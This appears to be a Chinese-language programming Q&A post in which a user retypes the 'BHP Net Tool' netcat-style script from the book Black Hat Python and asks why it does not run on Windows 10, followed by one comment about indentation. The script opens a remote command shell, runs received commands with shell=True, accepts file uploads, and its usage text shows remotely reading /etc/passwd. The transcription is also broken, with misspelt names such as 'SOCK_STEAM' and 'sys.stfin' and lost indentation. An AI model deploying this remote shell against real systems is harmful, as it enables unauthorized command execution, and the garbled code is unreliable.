以下代碼是黑帽子python書中顯示的腳本,但它看起來不起作用。我正在閱讀一本電子書,經過五次重寫代碼之後,我仍然無法正常工作(由於某些原因,電子書不允許複製/粘貼 )。我已經嘗試了代碼和本書中顯示的所有示例,但得到了相同的結果 - 線條變黑爲止,然後在下一行創建正常的命令行提示符(「C:\ Python27」) 。我正在使用Windows 10.在本書中,用戶輸入「bhp.py -t localhost -p 9999」,它給了用戶一個自定義命令外殼 - 沒有爲我工作...感謝您查看我的問題來自黑帽子python書籍的代碼沒有運行?
import socket
import threading
import sys
import getopt
import subprocess
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print ("BHP Net Tool")
print
print ("USAGE: bhpnet.py -t target_host -p port")
print ("-l --listen - listen on [host]:[port] for incoming connections")
print ("-e --execute=file_to_run - execute the given file upon receiving a connection")
print ("-c --command - initialize a command shell")
print ("-u --upload=destination - upon recieving connection upload a file and write to [destination]")
print
print
print ("Examples: ")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe")
print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"")
print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu", ["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload:"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
if not listen and len(target) and port > 0:
buffer = sys.stfin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STEAM)
try:
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
buffer = raw_input("")
buffer += "\n"
client.send(buffer)
except:
print "[*] Exception! Exciting!."
client.close()
def server_loop():
global target
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCL_STEAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send("<BHP:#> ")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()
縮進是可疑的,有幾塊代碼不是函數的一部分。檢查縮進是否正確。 – cdarke